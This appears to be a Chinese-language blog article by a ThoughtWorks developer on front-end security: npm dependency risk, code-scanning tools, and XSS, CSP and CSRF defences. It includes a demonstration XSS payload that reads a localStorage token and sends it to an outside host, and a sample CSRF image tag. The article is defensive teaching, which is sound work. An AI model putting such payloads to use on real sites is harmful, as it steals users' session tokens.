隨著開發框架和平臺的不斷成熟,需要開發者考慮的安全問題越來越少,但并不是開發者就不需要關心項目的安全問題。linux、Tomcat等大型項目時不時爆出安全漏洞,把網絡安全話題重新拉回大眾視野。現代前端開發依賴node作為打包、構建和依賴管理平臺,最近一次安全問題就是npm倉庫中的event-stream包多了一個flatmap-stream依賴,而這個依賴項正在竊取開發者的數字貨幣。
就前端項目來說,需要考慮的安全問題相對較少,受到攻擊后的損失也不及服務器被攻擊后那么大,前端主要需要考慮的安全問題有:
npm生態下依賴的安全性。npm 非常年輕,和JAVA相比包的質量參差不齊,也缺乏良好的審查機制,不過好在npm提供了一些安全工具幫我們審查依賴的安全問題。
XSS跨站腳本攻擊。XSS攻擊是非常常見的攻擊方式,前端開發需要日常注意,我們后面會主要討論這類攻擊。
CSRF跨站請求偽造攻擊。CSRF不是非常流行,目前來說容易將此類攻擊的破壞性降低到可以接受的程度。
代碼自查
開發者和攻擊者最大的不同之處在于,開發者完全擁有代碼,因此占據了主動權。一般來說攻擊者的掃描都只能對線上產品進行,如果開發者在上線之前對代碼進行審查和掃描,可以事半功倍。
另外內部的滲透測試也類似于模擬攻擊者來進行掃描業界已知漏洞,而代碼層面的審查則需要開發團隊完成。
npm audit

npm audit tool/npm 安全掃描工具
為了提高npm依賴的安全,npm 6.1 后添加了npm audit工具,這個工具可以搜索當前項目中使用的依賴是否存在安全問題,并提供了npm audit fix工具修復。
它的工作原理是維護了一個已知不良依賴的名單,如果代碼中使用了直接從GitHub而不是npm倉庫中獲取依賴,或不知名的依賴。npm audit也是無法發現威脅。總的來說在加入第三方依賴時,需要謹慎考慮,不濫用依賴在前端開發也是非常重要的。
Sonarqube

sonarqube dashboard/sonarqube 管理面板
Sonarqube應該是今年業界最為流行的代碼審查工具了,Sonarqube使用了和其他開源軟件一樣,軟件開源服務收費的策略。我們可以自己搭建公司內部的代碼審查平臺,也可以直接使用sonarqube在線的掃描服務。公開服務的Sonarqube,可以直接和GitHub和Bitbucket集成,但是需要提供相應的授權,因此使用Sonarqube需要提供倉庫權限。
Sonarqube 中發現威脅只是它的功能之一。它提供了發現 Code Smells、Bugs、Vulnerabilities三大特性,并且支持Java、JavaScript和C#等大量語言。如果我們僅僅需要檢查前端項目中代碼的安全缺陷,我們可以使用另外更加輕量級能集成到構建腳本中的工具。
snyk
如果不想暴露倉庫權限,并且本地掃描,可以使用snyk這類輕量級的掃描工具。其實snyk也提供類似Sonarqube一樣的平臺,但是也提供了輕量級的本地掃描。
snyk 提供了npm安裝,可以參考以下命令,簡單的集成到CI中:
- npm install -g snyk
- snyk auth
- snyk test
應對XSS攻擊
XSS 攻擊通過向頁面中注入可以執行的JavaScript代碼,因為可以通過JavaScript在已經登陸的用戶頁面上執行,可以使用已經信任用戶的身份來進行攻擊甚至盜走用戶身份信息。 XSS分為DOM型、反射型、存儲型三種攻擊類型,反射型和存儲型服務器端可以通過過濾輸出處理,對前端項目來說主要針對DOM型攻擊采取安全措施。

上面這個動圖是我假設的一個漏洞,前端代碼直接接收外部輸入,并添加到頁面上。演示攻擊者使用了一段代碼:
<img/src=x onerror="(new Image()).src = 'http://a.com?token='+ localStorage.getItem('token')">
通過圖片觸發onerror事件的方式執行一段JavaScript代碼片段,再讀取LocalStorage中的token,最后通過圖片Ping的方式發送到外部網站。這只是一段作為演示用的攻擊方式,這種注入XSS的代碼叫做 XSS payload,很多強大的payload在網絡上傳播。下面我們來討論下在開發過程中如何應對這些攻擊。
使用HTTP頭啟用瀏覽器安全行為
瀏覽器有很多內置的安全行為,可以防范XSS攻擊,第一步需要做的是在上線時合理配置服務器環境,這是一種性價比很高的方式。使用Nginx或者Apache輸入相應頭信息不是一件特別難的事,這里有一個checklist,分別說明了一些必要的HTTP頭和用途。

checklist
下面演示一個HTTP only的例子,即使XSS攻擊成功,也無法盜走token:

避免框架中的危險特性
現代前端開發中使用了一般基于常用的框架開發,框架提供了很多安全特性在輸入內容到DOM避免了XSS注入,但是如果不當使用,也會有一些風險。框架為了提供更大的靈活性往往允許原生的html內容被添加到DOM中并提供了對應API,但基本上也會在文檔中說明。
Vue的v-html指令。 Vue的明確提示使用該指令的前提是信任輸入內容,但是大量項目使用了此指令,甚至從URL上獲取的部分內容。下面圖片中的使用方式在項目中很常見,但是如果使用xss payload很容易像上面演示的那樣被xss注入攻擊。

v-html brings security issue/ v-html屬性會引發安全問題
dangerouslySetInnerHTML。React中提供了類似的機制,不過在API的名稱上非常醒目,原理上和Vue類似,不再贅述。
另外一種不當使用框架的例子是,讀取原生 DOM 并添加內容的行為,這種行為不僅對項目架構造成破壞,帶來維護性的困難,而且會存在XSS注入的風險。
啟用CSP瀏覽器安全策略
在銀行和金融類項目,對安全要求非常重視。大家都知道的一個例子是銀行項目都實現了自己的鍵盤輸入控件,目的是防止操作系統的鍵盤Hook,這個超出前端開發需要考慮的內容。另外一個方法是啟用CSP瀏覽器內容安全策略,對加載到頁面上的內容進一步限制,并且CSP還提供了異常報告的機制。
Mozilla的CSP定義
“內容安全策略 (CSP) 是一個額外的安全層,用于檢測并削弱某些特定類型的攻擊,包括跨站腳本 (XSS) 和數據注入攻擊等”
通俗的來說,CSP就是通過HTTP頭部 Content-Security-Policy或者HTML meta標簽定義一系列白名單規則,限制頁面上腳本的執行和資源的加載來源,例如不允許執行內聯代碼(<script>塊內容,內聯事件,內聯樣式),禁止執行eval() , newFunction() , setTimeout([string], ...) 和setInterval([string], ...) ,達到進一步限制頁面腳本的目的。例如:
Content-Security-Policy:default-src 'self'; img-src https://*; child-src 'none';
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
CSP 策略包括多個指令和指令值組成:

csp指令

CSP 策略
CSP 策略中有一個特別的指令report-uri可以配置頁面上違規后的報告,一旦瀏覽器檢測到違規的資源加載,瀏覽器會發送一個JSON數據包到指定服務器。
應對CSRF攻擊
CSRF攻擊者在用戶已經登陸目標網站后,誘導用戶訪問一個攻擊頁面,利用用戶已經獲取的權限,發起偽造的請求。
舉個例子:
假設GitHub提供了一個給倉庫加星的接口,htttps://github.com/{repositoryName}/star 而且這個接口使用了GET方法,當然GitHub不會這樣做。
這樣攻擊者就可以在GitHub上Readme文件中中增加一張圖片:
<img src="htttps://github.com/{repositoryName}/star" />
當用戶瀏覽到這個倉庫的時候就會給該倉庫增加一個星。
因此業界通常的做法是避免使用GET操作對數據資源的修改,使用POST時增加一個一次性的token。
如果Spring boot中使用Spring security,會有默認的 CsrfFilter,只需要注冊CsrfFilter即可啟用CSRF機制。客戶端對相同的Restful資源發出POST請求之前需要首先從GET方法得到一個一次性的token,否則會得到一個403錯誤。
其他
實際項目中我們還有其他的一些安全措施:
例如加密代碼中的密碼等敏感信息,加密本身對前端來說意義不大,但是可以增加攻擊者反向分析代碼的難度,屏蔽代碼中可以直接搜索到的關鍵字,例如Login、Password等字符串。
另外也要防止程序報錯后意外暴露一些信息給用戶,面對各種各樣的異常,用戶不可能主動也沒有能力報告錯誤,我們可以通過使用sentry.io之類的一些工具收集控制臺報錯信息 。
最后這個世界上沒有絕對的安全,即使CSP這類極其嚴格的策略都有可能被繞過,前端開發中安全也需要考慮成本,應該選用性價比高的安全策略。安全也不是獨立的,應該和服務器、甚至操作系統層面聯合考慮,例如后端提供的資源應該是通過ID不可枚舉的,上傳文件的時候也應該嗅探內容和MIME信息決定文件類型。
參考鏈接:
- https://github.com/jshanson7/npm-audit/blob/master/blacklist.json
- https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP
- 業界安全組織 OSSTM, OWASP, TCSEC
文/ThoughtWorks林寧